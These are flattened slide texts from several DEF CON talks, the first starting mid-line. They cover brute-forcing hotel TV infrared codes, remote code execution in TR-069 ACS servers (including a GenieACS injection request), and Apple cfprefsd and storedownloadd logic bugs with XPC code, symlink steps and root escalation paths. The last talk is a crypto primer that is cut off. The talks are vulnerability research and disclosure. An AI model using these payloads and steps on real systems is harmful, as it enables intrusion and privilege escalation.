[%03d][T]0[D]110001%s\n",$_,unpack("B8",pack ("i",$_+0))) }' > hotel4.rem Manual test / observation for i in `perl -e 'for (0..255) { printf("%03d\n",$_) }'` ; do echo -n "$i..." ; irtrans localhost hotel1 $i ; echo "done" ; sleep 2 ; done Rinse, repeat TV Remotes – discovering hidden codes Profit! [012][T]0[D]10000100110000 [075][T]0[D]10000111011010 [122][T]0[D]11000100111110 # engineering [130][T]0[D]11000110111110 # engineering [199][T]0[D]11000101111111 # engineering [200][T]0[D]11000101101011 # disable computer [206][T]0[D]11000101111010 # housekeeping [221][T]0[D]11000101111101 # housekeeping [244][T]0[D]11000111001111 # engineering [249][T]0[D]11000111010110 [251][T]0[D]10000111010010 # bingo! 0wn3d! [254][T]0[D]11000111101110 TV Remotes Hidden codes Hotel internal (housekeeping) daily tasks Minibar billing Room cleaning / status reports Extras (engineering) one-off tasks Pay TV config Debugging Cable codes Signal strength Port settings Accessory / Service (De)Activation Hotel TV – New Capabilities Reconfigure TV Change messages Assign to another room Assign new free channels Find new channels Hotel TV – New Capabilities Reconfigure TV Change channel filtering Hotel TV – New Capabilities View Back-End Systems Hotel TV – New Capabilities Change Room status MiniBar Cleaning Hotel TV – New Capabilities Unimplemented Facilities Standard vendor feature (toggled off) Hotel TV – New Capabilities Control other physical devices Mini Bar lock Hotel TV – New Capabilities View Other Users' Activities Hotel TV – New Capabilities Assign to another room View folio Charge goods & services Hotel TV – New Capabilities Automated room enumeration Digital camera Simple shell script irtrans - send addressing commands gphoto2 – capture image Increment room number Thumbnail webpage cthumb Hotel TV – New Capabilities Room enumeration %age occupancy Who's where Who's eating, drinking & viewing what For how long Hotel TV – Pay Per View True Movies On Demand Controller requests movie to start & assigns channel Cyclic or Fixed Start Times Controller retunes TV Controller routes selected channel to AV Controller switches off blocking signal Future Projects Car Alarm / Central Locking Moving towards RF Likely to be carrier technology change only Rolling codes Hotel Safes TVB-Gone Car Alarm / Central Locking Simple reset sequence Hotel Safes InfraRed Dongle Master programming Master Unlock / Reset Questions / Feedback – DEFCON 2005 Contact: majormal@pirate-radio.org http://www.alcrypto.co.uk
pdf
(U) I hunt TR-069 admins Shahar Tal T O P S E C R E T / / S I / / R E L T O D C 2 2 no ISPs were harmed during the making of this presentation corporate legal wouldn't let us • Shahar Tal (@jifa) • Father, husband, geek • 10 years with IDF obligatory whoami Agenda • Intro to TR-069 • Why you should care • Landscape walkthrough • Top kek pwnage • Conclusion Residential Gateway Security • It sucks. • Pedro Joaquin (Routerpwn), Jacob Holcomb (“SO HOpelessly broken”), Zachary Cutlip (“rooting SOHO”), devtty0 (everything) TR-069 in 69 seconds CPE WAN Management Protocol (CWMP/TR-069) • 2004: v1.0 • 2013: v1.4 (amendment 5) TR-069 Provisioning Session SOAP RPC (XML over HTTP) Always* initiates session Dual authentication mechanism ACS  can  issue  “Connection  Request” TR-069 Example RPC (ACSCPE) <soapenv:Envelope ...> ... <soapenv:Body> <cwmp:SetParameterValues> <ParameterList ...> <Name>InternetGatewayDevice.ManagementServer.URL</Name> <Value>http://acs.supersecureisp.com/cwmp/</Value> </ParameterList> ... </cwmp:SetParameterValues> </soapenv:Body> </soapenv:Envelope> TR-who? • Growing trend to adopt TR-069 • Endorsed by Home Gateway Initiative, Digital Video Broadcasting, WiMax Forum • (2011) Estimated 147M TR-069 enabled devices online • 70% Gateways • According to zmap, 7547 is open on 1.12% of IPv4 Good Guy ACS • Provision devices (“zero-touch configuration”) • Tech Support remote management • Monitor for faults, errors or malicious activity • Diagnostics and Performance • Replace/fix faulty configuration • Deploy upgraded firmware Trust Issues • Who do you trust to run code on your devices? • Silently? • Remotely? • With elevated permissions? • I *might* trust heavily protected updates from Apple / Microsoft / Google with this, but what about my ISP? TR-069 Architecture Photo credit: https://www.etsy.com/shop/sharpwriter APT APT APT APT APT APT APT APT CYBER APT CYBER Scumbag ACS • What would an attacker do if he was in control of an ACS? • Get private data • SSID, hostnames & MAC addresses, usernames, VoIP • Get complete configuration incl. passwords (vendor-specific) • Set every parameter • DNS servers • Wi-Fi (add new hidden SSID, remove password) • PPP (replace WAN service with attacker controlled tunnel) • Download • Configuration, firmware, logs • Upload • Configuration, firmware Previous Work? • Luka Perkov (“ISP’s black box” @ 29c3, UKNOF24) • A brief survey of CWMP security (3SLabs) • http://blog.3slabs.com/2012/12/a-brief-survey-of-cwmp-security.html • That’s about it. • (Apologies if my google fu wasn’t strong enough to find you) Niche Market • Service Provider world • TR-069 community? TR-069 Community ADB, Affinegy, Agile ACS, Alvarion, Arris, AVSystem, Axiros, Calix, Cisco, Comtrend, Consona, Dimark, Draytek, Fine Point Technologies, Friendly Tech, GIP, Incognito Software, Intraway, Iskratel, iWedia, Jungo, Juniper Bridge, Mobigen, Motive, Netgem communications, Netmania, OneAccess, Pace, ProSyst, Ronankii Infotech, Sigma Systems, Tata Elxsi, Tilgin, Wi-tribe, Wind River, Works Systems I got TR-069 problems Insecure Configuration Insecure Implementation How do you find ACSs ITW? • Hack a single router. QED. • Scanning • zmap/masscan FTW • 7547 and friends • UPnP endpoints • Public datasets • Internet Census 2012 • DNS Census 2013 • lmgtfy • lmstfy ACS Authentication Drill Down • SSL • 2nd option: shared secret • Shared secret = HTTP auth (basic/digest) HTTP 81% HTTPS 19% is RECOMMENDED Stealing the Secret • Router interfaces try to protect ACS passwords. • But… allow you to change the ACS URL. • ACS can even enforce HTTP Basic auth • Base64 encoded “username:password” SSL Certificate Validation Field Test Recap • TR-069 is very powerful • ACS makes a very lucrative, accessible target • A LOT of implementations are just not serious enough OpenACS • Open source (Java) • Start auditing • 3 days later: RCE • Reflection + Native File Upload = CVE-2014-2840 GenieACS • Open source (Node.js, Redis, MongoDB) • Start auditing • 2 days later: RCE • Non-Global regex - CVE-2014-4956 • Running as root output = input.replace(/[\[\]\\\^\$\.\|\?\+\(\)]/, "\\$&") GET /devices?query=["./;require('util').log(‘lolwut');//*"] HTTP/1.1 PWNAGE >be scanning ipv4 for GenieACS >detect instance in middle-eastern ISP >nbi exposed >picard_facepalm.png >OP delivers (vulnerability report) >ISP support center not thrilled with Israeli calling about “vulnerable infrastructure” >8/10 would report again Undisclosed Vendor • Massive global install base incl. major providers • Internal API auth bypass, 2xSQLi, DoS • CVE-2014-{4916,4917,4918,4957} • Can write arbitrary files to any location • Including C:\Inetpub RCE • Tested vulnerable provider (with permission) What can I do? • Audit your TR-069 settings • Ensure SSL & proper cert validation • Unsatisfied? disable TR-069 • (If you can) • Add home security layer • Another router with NAT/FW capabilities • Open source firmware alternatives • Ask your provider about their TR-069 configuration! Fixing the Problem • There is no easy fix. • Bad implementations are out there • TR-069 has to mature • Awareness is key • Security community • That’s you guys • ACS vendors • Write better software, put money in secure coding • Show your security stance (bug bounties?) • Service Providers • Protect your customers, it’s your responsibility Future Directions • TR-069 client pwnage • Stay tuned for CCC Thank you! Hit me up on @jifa or shahartal@checkpoint.com • @swiftonsecurity • https://www.iol.unh.edu/sites/default/files/knowledgebase/hnc /TR-069_Crash_Course.pdf TR-069 Crash Course (University of New Hampshire Interoperability Laboratory) • https://community.rapid7.com/servlet/JiveServlet/download/21 50-1-16596/SecurityFlawsUPnP.pdf Whitepaper: Security Flaws in Universal Plug and Play: Unplug, Don’t Play. (Rapid7) • http://internetcensus2012.bitbucket.org/ Internet Census 2012 (anonymous researcher) • http://www.team- cymru.com/ReadingRoom/Whitepapers/SOHOPharming.html SOHO Pharming (Team Cymru)
pdf
Caught you - reveal and exploit IPC logic bugs inside Apple Zhipeng Huo,,Yuebin Sun,,Chuanda Ding of, Tencent,Security,Xuanwu,Lab Who are We? • Zhipeng Huo (@R3dF09) • Senior security researcher • Member of EcoSec Team at Tencent Security Xuanwu Lab • macOS, iOS and Windows platform security • Speaker of Black Hat Europe 2018, DEF CON 28 Who are We? • Yuebin Sun (@yuebinsun2020) • Senior security researcher • Member of EcoSec Team at Tencent Security Xuanwu Lab • macOS, iOS platform security Who are We? • Chuanda Ding (@FlowerCode_) • Senior security researcher • Leads EcoSec Team at Tencent Security Xuanwu Lab • Windows platform security • Speaker of Black Hat Europe 2018, DEF CON China 2018, DEF CON 28 Agenda • Introduction • IPC on Apple Platforms • IPC Logic Vulnerabilities • Preferences • App Store • Conclusion Introduction Inter-Process Communication • Inter-Process Communication (IPC) is the set of techniques provided by the operating system to allow processes to communicate with each other • Roles - Client/Server • Client requests Server • Server responds to Client if needed • IPC Channel Client IPC Channel ( Kernel ) send reply Server receive reply Why Needs IPC ? • Modularity • Divide complex system to separated modules • Don’t Repeat Yourself • Stability • Module crash would not crash entire system • Privilege separation • Isolate sensitive operations into separated processes • Principle of Least Privilege • Module attacked would not compromise entire system An IPC Example: Browser Architecture Render Process Network Process Browser main Process System Service System Service IPC IPC IPC IPC IPC IPC IPC IPC Breaks Security Boundary • Different process, different privilege • IPC is the “Window” between different privilege • IPC vulnerability is “Key” to the high privilege Security Boundary low privilege high privilege sandboxed non-sandboxed IPC IPC Logic Vulnerability • Not memory corruption vulnerabilities • Boring for us • Kinds of logic flaws • Design flaw • Implementation flaw • Combine “features” to compromise system New Challenge - Apple M1 • New Chip, New Security Features • System Integrity • Data Protection • Pointer Authentication Code (PAC) • Hardware-level security mechanism against memory bug • Memory game became harder! • So, spring of logic vulnerability is coming ? IPC on Apple Platforms Apple IPC Methods • Shared File • Shared Memory • Sockets • Apple Events • Distributed Notifications • Pasteboard • Mach messages • XPC • NSXPC • … XNU Kernel Mach Messages XPC NSXPC Mach Messages XPC NSXPC Client Server Mach Port • An endpoint of a unidirectional communication channel • Messages can be sent to or received from • Port Rights • RECEIVE right – Receive message • SEND right – Send message RECEIVE right SEND right SEND right message message Mach Messages • Message send and receive through system call • mach_msg • mach_msg_overwrite • Message structure • Header • Complex data (optional) • Port rights or OOL data • Message Buffer • Pros and Cons • Low-level, fundamental, powerful • Ancient, poorly documented, hard to use directly XPC • Latest IPC mechanism on top of Mach messages • Managed by launchd • Naming server • On-demand launch, monitor, terminate server • Transparent • XPC Message • Dictionary object • Don’t need to play with Mach message structure directly launchd Client Server Lookup Register XPC Message XPC Message • xpc_dictionary_set_* • xpc_dictionary_get_* • … { "CFPreferencesUser": "kCFPreferencesCurrentUser", "CFPreferencesOperation": 1 , "CFPreferencesShouldWriteSynchronously": true , "CFPreferencesCurrentApplicationDomain": true , "CFPreferencesDomain": "/tmp/xlab.txt" , } XPC Message Mach Message XNU Mach Message XPC Message Serialize Unserialize XPC API • xpc_connection_create_mach_service • Creates a new connection object that represents a Mach service • A peer connection will be returned • if XPC_CONNECTION_MACH_SERVICE_LISTENER flag is set, a listener connection returned • xpc_connection_set_event_handler • Sets the event handler block for the connection • xpc_connection_send_message • Sends a message over the connection to the destination service NSXPC • Object-oriented IPC mechanism on top of XPC • High-level remote procedure call interface that allows you to call methods on objects in one process from another process • NSXPCConnection API • NSXPCListener • NSXPCListenerDelegate • NSXPCConnection NSXPC Interfaces • Use Objective-C protocols to define programmatic interface between the calling application and service • Supported types of interface parameters • Arithmetic types, BOOL • C Strings, Structures, arrays • Custom Objective-C objects that implement the NSSecureCoding protocol @protocol ISDownloadService <NSObject> - (void)setStoreClient:(ISStoreClient*)storeClient; - (void)performDownload:(SSDownload*)download withOptions:(NSUInteger)options replyBlock:(void (^)(NSUInteger,NSError*))reply; @end NSXPC Architecture https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html IPC Logic Vulnerabilities https://support.apple.com/en-us/HT212317 What are Preferences? • Preferences are user-defined settings • Persistent data stored in preferences file • Property list – “plist” • Service /usr/sbin/cfprefsd manages preferences • Reads / writes preferences by user requests How does App Get/Set Preferences Values? • Foundation API • NSUserDefaults • Core Foundation API • CFPreferencesSetAppValue • CFPreferencesCopyAppValue CFStringRef textColorKey = CFSTR("defaultTextColor"); CFStringRef colorBLUE = CFSTR("BLUE"); // Set up the preference. CFPreferencesSetAppValue(textColorKey, colorBLUE, kCFPreferencesCurrentApplication); // Read the preference. textColor = (CFStringRef)CFPreferencesCopyAppValue(textColorKey, kCFPreferencesCurrentApplication); NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults]; [defaults setBool:YES forKey:@"CacheDataAggressively"]; cfprefsd Handle Requests as a XPC Server service = xpc_connection_create_mach_service( “com.apple.cfprefsd.daemon”, 0, XPC_CONNECTION_MACH_SERVICE_LISTENER ); handler[0] = _NSConcreteStackBlock; handler[1] = 0xC2000000LL; handler[2] = &__39__CFPrefsDaemon_initWithRole_testMode___block_invoke_2; handler[3] = &__block_descriptor_40_e8_32o_e33_v16__0__NSObject_OS_xpc_object__8l; handler[4] = v7; xpc_connection_set_event_handler(service, handler); com.apple.cfprefsd.daemon run with root privilege without sandbox Directly Message cfprefsd xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.cfprefsd.daemon", NULL, 0 ); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "CFPreferencesUser", "kCFPreferencesCurrentUser"); xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1); xpc_dictionary_set_string(msg, "Key", "hello"); xpc_dictionary_set_data(msg, "Value", "world", 5); xpc_dictionary_set_bool(msg, "CFPreferencesCurrentApplicationDomain", true); xpc_dictionary_set_string(msg, "CFPreferencesDomain", domain); int fd = open("/tmp/xlab.plist", O_RDWR); xpc_dictionary_set_fd(msg, "CFPreferencesAccessToken", fd); xpc_connection_send_message(conn, msg); Where does cfprefsd Save Preferences Data? Preferences File Path Construction • PreferencesDirectory • kCFPreferencesAnyUser “/Library/Preferences” • kCFPreferencesCurrentUser “~/Library/Preferences” • PreferencesDomain • XPC Message - “CFPreferencesDomain” • ”CFPreferencesIsByHost”: True • PreferencesDirectory + (PreferencesDomain + “.” + HostIdentifier) + “.plist” • “CFPreferencesIsByHost”: False (Default) • PreferencesDirectory + PreferencesDomain + “.plist” Implementation of Preferences File Path • CFStringCreateWithFormat • CFURLCreateWithFileSystemPathRelativeToBase • baseURL - PreferencesDirectory • filePath CFURLRef plist_url = CFURLCreateWithFileSystemPathRelativeToBase ( kCFAllocatorDefault, filePath, // fully controllable kCFURLPOSIXPathStyle, // pathStyle true, // isDirectory baseURL // PreferencesDirectory ); CFStringRef filePath = CFStringCreateWithFormat(kCFAllocatorDefault,NULL, CFSTR("%@.plist"), PreferencesDomain ); Features of CFURLCreateWithFileSystemPath- RelativeToBase baseURL filePath ../../tmp/xlab.plist /Library/Preferences /tmp/xlab.plist filePath path traversal with “../” baseURL filePath /tmp/xlab.plist /Library/Preferences /tmp/xlab.plist filePath is absolute path Preferences file path is absolutely controllable What if Preferences File Path does not Exist? [CFPDSource cacheActualPathCreatingIfNecessary:euid:egid:isWritable:](...) { if ( open(plist_path, O_CREATE, v18) >= 0 ){ return; } PathComponent = CFURLCreateCopyDeletingLastPathComponent(, v15); _CFPrefsCreatePreferencesDirectory(PathComponent, a4, a5); v16 = open(plist_path, O_CREATE, 0x384); } 1. open preferences file 2. create preferences directory 3. open preferences file again CFPrefsCreatePreferencesDirectory int _CFPrefsCreatePreferencesDirectory(path, uid, gid) { int dirfd = open("/", O_DIRECTORY); for (slice in path.split("/")) { int fd = openat(dirfd, slice, O_DIRECTORY); if (fd == -1 && errno == ENOENT && !mkdirat(dirfd, slice, perm)) { fd = openat(dirfd, slice, O_DIRECTORY|O_NOFOLLOW); if ( fd == -1 ) return -1; fchown(fd, uid, gid); } } } Ownership of Preferences Directory • Default, ownership is the caller of request • xpc_connection_get_euid • xpc_connection_get_egid • Other, ownership is controllable • CFPreferencesUseCorrectOwner == True • CFPreferencesUser == ‘root’ • getpwnam • pw_uid • pw_gid CVE-2021-1815 Create arbitrary directories with controlled ownership Exploit of CVE-2021-1815 • Periodic scripts • The method mentioned by Csaba Fitzl • Create directory /usr/local/etc/periodic/daily with current user’s privilege • Write a script file in /usr/local/etc/periodic/daily directory • Wait a day • The script would run as root https://www.offensive-security.com/offsec/macos-preferences-priv-escalation/ Patch of CVE-2021-1815 cacheActualPathCreatingIfNecess ary:euid:egid:isWritable: cacheFileInfoForWriting:euid:eg id:didCreate: How does cfprefsd Read Preferences Data? Preferences Read Logic • How does cfprefsd returns preferences file data ? • Put the preferences data in the reply directly • What if the preferences file is too large ? • Open the file and return file descriptor • What if the preferences file changes ? • Clone file and open • Return the file descriptor clonefile file check open preferences file Implementation of Preferences File Read char __str[1032]; plist_path = [CFPDSource cacheActualPath]; if (!lstat(plist_path, &stat_buf) && stat_buf.st_size >= 0x100000){ snprintf(__str, 0x400uLL, "%s.cfp.XXXXXXX", plist_path); tmp_plist_path = mktemp(__str); if (tmp_plist_path) { if (!clonefile(plist_path, tmp_plist_path, 0) ){ v4 = open(tmp_plist_path, 0); ... } } } [CFPDSource cloneAndOpenPropertyListWithoutDrainingPendingChangesOrValidatingPlist] 1. get preferences file path 2. judge the file size 3. clone preferences file Implementation of File Clone clonefile(plist_path, tmp_path) snprintf(__str, 0x400uLL, "%s.cfp.XXXXXXX", plist_path); dst_path = mktemp(__str); Random file name at same directory of preferences file Implementation of File Clone clonefile(plist_path, tmp_path) snprintf(__str, 0x400uLL, "%s.cfp.XXXXXXX", plist_path); dst_path = mktemp(__str); Random file name? Really Random File Name? • snprintf • Generate formatted string with its MAX length as 0x400 • mktemp • “The trailing `X’s are replaced with a unique alphanumeric combination” • What if strlen(plist_path) + strlen(”.cfp”) is equal to 0x400-1? • snprintf will overflows and generate ”_str” without ”X” • mktemp will returns a fixed filename without any randomness snprintf(__str, 0x400uLL, "%s.cfp.XXXXXXX", plist_path); dst_path = mktemp(__str); Time of Check clonefile file check open controllable plist file file_check(plist_path) Time of check Time of use Arbitrary File Read clonefile(plist_path, dst_path) {plist_path}.cfp Fixed file name Arbitrary File Read: any file can be stolen and cloned to {plist_path}.cfp symbolic link? clonefile file check open controllable plist file Time of check Time of use Make Temporary File Name clonefile file check open controllable plist file mktemp(“{plist_path}.cfp”) Time of check Time of use mktemp mktemp will fail if expected file exists Arbitrary File Write clonefile(plist_path, dst_path) {plist_path}.cfp Fixed file name Arbitrary File Write: plist_path can be write to ANY path symbolic link clonefile file check open controllable plist file Time of check mktemp Time of use Patch of CVE-2021-1740 • Replace temp path with symbolic link? No more fixed file • Predicted/fixed temp path need to overflow snprintf • Random temp file will not be created unless clonefileat is called successfully, so we have no time window to replace it int ret = snprintf(__str, 0x400uLL, "%s.cfp.XXXXXXX", plist_path); if (ret >= 0x400){ goto FAIL; } char *temp_path = mktemp(__str); if (!clonefileat(dirfd, plist_file, AT_FDCWD, temp_path)){ int fd = open(temp_path, 0); // ... return fd; } How does cfprefsd Write Preferences Data? Preferences Write Logic Parse key, value from XPC message Read data from target preferences file Generate new data Write data to a temp file Rename temp file back to the target preferences file Client have Write Permission to Preferences File? bool -[CFPDSource validateAccessToken:accessType:]{ char fd_path[1024]; xpc_fd = xpc_dictionary_dup_fd(xpc_msg, "CFPreferencesAccessToken"); if (fcntl(xpc_fd, F_GETPATH, fd_path) != -1){ // check if path is consistent, plist_path is controllable by client if (!strcmp(fd_path, plist_path) && // check if the file is writable by client ((fcntl(xpc_fd, F_GETFL, 0LL) & 3) == 2)){ return true; // check success } } return false; // check failed } The client needs to pass the file descriptor to cfprefsd to prove that it has write permission to preferences file Implementation of Preferences File Write int64 _CFPrefsWritePlistToFDThenClose(){ tmp_file_fd = _CFPrefsTemporaryFDToWriteTo(v3, v4); fcntl(tmp_file_fd, F_GETPATH, tmp_file_path); while (...) { write(tmp_file_fd, plist_data, plist_size); } close(tmp_file_fd); rename(tmp_file_path, plist_path); } 1. generate temp file 2. write preferences data to temp file 3. rename temp file to target plist file Source Path is Symbolic Link? rename(tmp_file_path, plist_path) Created in temp directory Fully controllable by client No, created in root-ownered directory, client has no access to it Symbolic link? Target Path is Symbolic Link? rename(tmp_file_path, plist_path) Created in temp directory Fully controllable by client rename will firstly delete the symbolic link if it exists already Symbolic link? “If the final component of target is a symbolic link, the symbolic link is renamed, not the file or directory to which it points.” Target Path is Symbolic Link? rename(tmp_file_path, plist_path) Created in temp directory Fully controllable by client rename will firstly delete the symbolic link if it exists already Symbolic link? “If the final component of target is a symbolic link, the symbolic link is renamed, not the file or directory to which it points.” What if Middle Component of plist_path is a Symbolic Link? /tmp/test/hello.plist final component middle component ➜ ln -s /Library/LaunchDaemons /tmp/test ➜ ls –l /tmp/ lrwxr-xr-x 1 xuanwulab wheel 22 6 29 18:07 test -> /Library/LaunchDaemons rename(tmp_file_path, plist_path) Time of Check rename file check open controllable plist file file_check(plist_path) Time of check Time of use Arbitrary File Rename rename file check open controllable plist file Time of check Time of use rename(tmp_path, plist_path) Arbitrary File Write: controllable content can be written to any path replace middle component of it with symbolic link? Patch of CVE-2021-1739 • rename -> renameat • The target file of renameat will be created based on dir_fd • Symbolic link (middle component of the target path) will not be followed int renameat( AT_FDCWD, tmp_file_path, dir_fd, file_name ) /tmp/test/xlab.plist xlab.plist dir_fd = open(”/tmp/test”, 0) Demo of Preferences Vulnerabilities https://www.youtube.com/watch?v=Kh6sEcdGruU https://support.apple.com/en-us/HT212011 NSXPC Server • com.apple.storedownloadd.daemon • /System/Library/PrivateFrameworks/CommerceKit.f ramework/Versions/A/Resources/storedownloadd • Root privilege, but sandboxed • Sandbox Profile /System/Library/Sandbox/Profiles/com.apple.storedown loadd.sb • It is allowed to write many sensitive paths such as /Applications, /Library/Keychains/ [NSXPCListener initWithMachServiceName: @"com.apple.storedownloadd.daemon”]; storedownloadd’s Interfaces @protocol ISDownloadService <NSObject> - (void)setStoreClient:(ISStoreClient*)storeClient; - (void)performDownload:(SSDownload*)download withOptions:(NSUInteger)options replyBlock:(void (^)(NSUInteger, NSError*))reply; @end What to download ? What is SSDownload ? SSDownload @interface SSDownload : NSObject<NSSecureCoding> @property(copy, nonatomic) NSArray *_assets; @end @implementation SSDownload + (BOOL)supportsSecureCoding{ return YES; } - (void)encodeWithCoder:(nonnull NSCoder *)coder { [coder encodeObject:self._assets forKey:@"_assets"]; } - (nullable instancetype)initWithCoder:(nonnull NSCoder *)coder { return self; } @end SSDownloadAsset @interface SSDownloadAsset : NSObject<NSSecureCoding> @property NSString * _customDownloadPath; @property NSURL * _urlRequest; @property NSArray * _hashes; @end @implementation SSDownloadAsset + (BOOL)supportsSecureCoding{ return YES; } - (void)encodeWithCoder:(nonnull NSCoder *)coder { [coder encodeObject:self._customDownloadPath forKey:@"download-path"]; [coder encodeObject:self._urlRequest forKey:@"url"]; [coder encodeObject:self._hashes forKey:@"hashes"]; } - (nullable instancetype)initWithCoder:(nonnull NSCoder *)coder { return self; } @end Serialization and Unserialization SSDownloadAsset { NSString * _customDownloadPath; NSURL * _urlRequest; NSArray * _hashes; }// fully controllable by attacker [SSDownloadAsset encodeWithCoder:] [SSDownloadAsset initWithCoder:] SSDownloadAsset { NSString * _customDownloadPath; NSURL * _urlRequest; NSArray * _hashes; } // fully controllable by attacker XPC Message 48656c6c6f2c205875616e77754c6162... XPC Message 48656c6c6f2c205875616e77754c6162... Serialize Unserialize Attacker Process storedownloadd Process Download Logic Perform the file download on url Verify the response contents based on hashes Write file to download-path Hash Verification • Calculate hash of response contents • Compare with input hash -[HashedDownloadProvider _verifyStreamedBytesWithHashes:] It’s just a data integrity check !!! Exploit of CVE-2020-27903 “Hi storedownloadd, please help me to download a file from this URL path, its hash is balabala ... and then write the contents to this download path, thanks!” Patch of CVE-2020-27903 • Removing the vulnerable code • No com.apple.storedownloadd.daemon any more. • RIP Demo of CVE-2020-27903 Other Logic Vulnerabilities • XPC Service implementation flaw • https://xlab.tencent.com/en/2021/01/11/cve-2020-9971-abusing-xpc- service-to-elevate-privilege/ • NSXPC Vulnerabilities in Adobe Acrobat Reader • https://rekken.github.io/2020/05/14/Security-Flaws-in-Adobe-Acrobat- Reader-Allow-Malicious-Program-to-Gain-Root-on-macOS-Silently/ https://i.kym-cdn.com/photos/images/newsfeed/001/890/751/e0e.png Advantage of IPC Logic Vulnerability • Easy to exploit • Stable • One exploit to rule them all “Logic bugs in core framework like prefrences let us rule all Apple platforms, Intel and Apple Silicon alike, without changing one line of our exploit.” State of Apple IPC Security • Reduce the IPC attack surfaces • More restricted sandbox rules • Delete unnecessary high privilege services • Adding more and more private entitlements • com.apple.private.xxx • … • Limit the damage • Sandbox IPC Server • Rootless • … Conclusion Latest IPC Mechanisms on Apple Platforms • XPC, NSXPC Interesting Apple IPC Logic Vulnerabilities • Three logic vulnerabilities in Preferences • One logic vulnerability in App Store Advantage of IPC Logic Vulnerability Status of Apple IPC Logic Vulnerability “Logic bugs are always fun!” Special Thanks • Csaba Fitzl (@theevilbit) • Ian Beer (@i41nbeer) • Zhi Zhou (@CodeColorist) Thanks. Tencent Security Xuanwu Lab @XuanwuLab xlab.tencent.com
pdf
Crypto for Hackers Eijah v1.00 August 7th, 2015 “Shall we play a game?” – Joshua/WOPR Hello World Free Party Tonight! 4 • www.demonsaw.com • www.defconparties.com Who am I? 5 • Founder • Programmer • Hacker Last year at Defcon… • Saving Cyberspace by Reinventing File Sharing • We’re losing our right to privacy and free speech • The abuse of power by the strong • Crypto is really difficult • Lifelong dedication • Can we filter out the noise? • Can we make it easy to understand? • We need to take back control • Becoming powerful again 6 Trust Convenience Control Change "Know thy self, know thy enemy. A thousand battles, a thousand victories.“ – Sun Tzu, general and author of The Art of War A World Without Secrets A Formidable Ally • Crypto is our strongest weapon • Considered a military weapon in the USA until 1992 • Many different uses • Protect out secrets • Expose the secrets of others • Poor crypto implementations • A common denominator to the Internet • What is the government thinking? • Banning encryption? • Providing backdoors? 8 Becoming More Powerful • Technology as the deciding factor • We are stronger than governments & corporations • Crypto is a complex and difficult subject • The secret • Ubiquitous • Pervasive • Easy • The will of the people • Battle cry for a new generation of hackers 9 Battle Cry 10 “Encryption is the defense against the dark arts.” – Edward Snowden The Algorithms Terminology • Crypto(graphy) • The practice and study of techniques for secure communication in the presence of third-parties. • Cipher • An algorithm for performing encryption or decryption. • Encryption, Decryption • The process of encoding messages or information in such a way that only authorized parties can read it (and vice versa). • Plaintext, Cleartext • Unencrypted messages or information. • Ciphertext • Encrypted messages or information. • Random Number Generator (RNG) • Device designed to generate a sequence of numbers or symbols that lack any pattern 12 Terminology • Key • A parameter that determines the functional output of a cryptographic cipher. • Hash (Function) • A 1-way cryptographic conversion function which is considered practically impossible to invert. • (Message) Digest • The output of a hash function. • Symmetric Encryption Algorithm • Algorithms that use the same cryptographic keys for both encryption of plaintext and decryption of ciphertext. • Asymmetric Encryption • Algorithms that use different cryptographic keys for encryption of plaintext and decryption of ciphertext. 13 Crypto Libraries • Crypto++ • Free C++ class library of cryptographic schemes • http://www.cryptopp.com • Demoncrypt • Open-source C++ wrapper around the most important Crypto++ algorithms. • Crypto foundation of demonsaw v2.0 • http://www.demonsaw.com • Algorithms • Ciphers (AES) • Hash (MD5, SHA) • HMAC • Key Agreement Schemes (Diffie Hellman) • Password-based Key Derivation Functions (PBKDF2) 14 Ciphers • Algorithm for performing encryption or decryption • Plaintext  ciphertext • Ciphertext  plaintext • Usages • Symmetric, Asymmetric • Everywhere (Software, hardware, networking, databases, DRM, etc.) • Algorithms • Rijndael (AES), Serpent, Twofish, RC6, MARS • 128, 192, 256 bit keys • Notes • NIST AES Standardization Process 15 Ciphers AES aes cipher; cipher.set_key(key); string ciphertext = cipher.encrypt("The Cloud is a lie"); cout << "CIPHERTEXT: " << hex::encode(ciphertext) << endl; // 542f25fcf9c8564433bee34d1122fab30c349c7d7ded1967c5ff3abac42f734b string plaintext = cipher.decrypt(ciphertext); cout << "PLAINTEXT: " << plaintext << endl; // The Cloud is a lie 16 Hash Functions • One-way conversion function • Message  (Message) Digest • Practically impossible to reverse engineer • Fixed sized output w/ optional salt • Usages • Verify file integrity, hashing passwords, digital signatures • Checksums, keyed data structure indexes • Algorithms • MD5, SHA-1, SHA-2, SHA-3 • Concerns • Collisions (limited key space) • Rainbow attacks • Length extension hacks 17 Hash Functions MD5 md5 md; string digest = md.compute("The Cloud is a lie"); cout << "MD5: " << digest << endl; // 759806471b250e2031c5257c01382a21 SHA256 sha256 sha; string digest = sha.compute("The Cloud is a lie"); cout << "SHA256: " << digest << endl; // 6aad0fcc90862e6b3c5cea078a0a35c0327f62671477fc5689abaa5f783c8cdf 18 Hash-Based Message Authentication Codes • Hash function with a user-provided key • Message Authentication Code (MAC) • Provides authenticity & message integrity • Prevents rainbow attacks • Key is not in hash • Usages • Can be used in place of hashes • Building block for other applications (PBKDF2) • Signing messages • Algorithms • MD5, SHA-1, SHA-2, SHA-3 • Concerns • Strength of the input key 19 Hash-Based Message Authentication Codes HMAC MD5 hmac_md5 hmac; hmac.set_key("Believe in the Right to Share"); string mac = hmac.compute("The Cloud is a lie"); cout << "HMAC MD5: " << hex::encode(mac) << endl; // 888e3e9cedd4f1a0d9a7c6e76af16afa HMAC SHA512 hmac_sha256 hmac; hmac.set_key("Believe in the Right to Share"); string mac = hmac.compute("The Cloud is a lie"); cout << "HMAC MD5: " << hex::encode(mac) << endl; // cb1fa1e58e17a6b8c87e476e6725251e114b5cd51b20946facca15cc497595f1 20 Password-Based Key Derivation Functions • Generating a key from a password/phrase • Convert user-friendly strings into keys • Choose PRF, salt, iterations, output size • Usages • Mutual shared secret derivation • Input for other crypto algorithms • Algorithms • PBKDF2 • Concerns • Computationally more intense • Character encoding is important 21 Password-Based Key Derivation Functions PBKDF2 HMAC MD5 pkcs5_pbkdf2_hmac_md5 pbkdf; pbkdf.set_salt("demonsaw 2.0"); string key = pbkdf.compute("Believe in the Right to Share"); cout << "PBKDF2 HMAC MD5: " << hex::encode(key) << endl; // 0552acc1243e62c9c35acdcbc6714f30 PBKDF2 HMAC SHA512 